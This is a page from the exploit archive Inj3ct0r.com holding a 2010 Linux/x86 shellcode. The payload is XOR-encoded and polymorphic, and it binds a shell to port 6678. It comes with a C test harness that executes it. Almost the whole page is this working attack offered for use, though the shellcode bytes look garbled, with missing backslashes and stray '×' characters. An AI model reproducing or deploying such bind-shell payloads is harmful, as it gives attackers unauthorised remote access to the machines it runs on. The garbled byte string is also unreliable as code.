<!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>linux/x86 bind port to 6678 XOR encoded polymorphic shellcode 125 bytes</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>=======================================================================
linux/x86 bind port to 6678 XOR encoded polymorphic shellcode 125 bytes
=======================================================================

/*
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /’ __ /’__` / __ /’__` 0
0 /_, ___ /_/_ ___ ,_/ / _ ___ 1
1 /_/ /’ _ ` / /_/__&lt;_ /’___ / /`’__ 0
0 / / / / __/ _ _ / 1
1 _ _ __ ____/ ____\ __\ ____/ _ 0
0 /_//_//_/ _ /___/ /____/ /__/ /___/ /_/ 1
1 ____/ &gt;&gt; Exploit database separated by exploit 0
0 /___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
0 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
Title : bind port to 6678 XOR encoded polymorphic linux shellcode .
Name : 125 bind port to 6678 XOR encoded polymorphic linux shellcode .
Date : Tue Jul 6 01:52:33 WIT 2010
Author : gunslinger_ &lt;yudha.gunslinger[at]gmail.com&gt;
Web : http://devilzc0de.org
blog : http://gunslingerc0de.wordpress.com
tested on : linux debian
special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com), ty miller (projectshellcode.com), jonathan salwan(shell-storm.org), mywisdom (devilzc0de.org), loneferret (offensive-security.com)
greetzz to all devilzc0de, jasakom, yogyacarderlink, serverisdown, indonesianhacker and all my friend !!
*/

#include &lt;stdio.h&gt;

char shellcode[] = &quot;xebx11×5ex31xc9xb1×65x80×74x0exff&quot;
&quot;x0ax80xe9×01x75xf6xebx05xe8xeaxff&quot;
&quot;xffxffx3bxcax3bxd1×3bxd8×5ax60×0b&quot;
&quot;x60×08x83xebxf4xc9xbax6cxc7×8ax83&quot;
&quot;xccx58×62xb1×08x10×70x83xebx60×1a&quot;
&quot;x5bx5cx83xebxf4xc9xbax6cxc7×8ax58&quot;
&quot;x5cx83xebxb9×0exbax6cxc7×8ax58×58&quot;
&quot;x5cx83xebxf4xc9xbax6cxc7×8ax83xc9&quot;
&quot;x3bxc3xbax35xc7×8ax4bxbax35xc7×8a&quot;
&quot;x4bxbax35xc7×8ax58×62x25×25x79×62&quot;
&quot;x62×25x68×63x64×83xe9×58x59×83xeb&quot;
&quot;xbax01xc7×8a&quot;;

int main(void)
{
fprintf(stdout,&quot;Length: %dn&quot;,strlen(shellcode));
(*(void(*)()) shellcode)();
}

# <a href=’http://inj3ct0r.com/’>Inj3ct0r.com</a> [2010-07-05]</pre><script type=’text/javascript’>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src=’" + gaJsHost + "google-analytics.com/ga.js’ type=’text/javascript’%3E%3C/script%3E"));</script><script type=’text/javascript’>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
Source: http://inj3ct0r.com/exploits/13164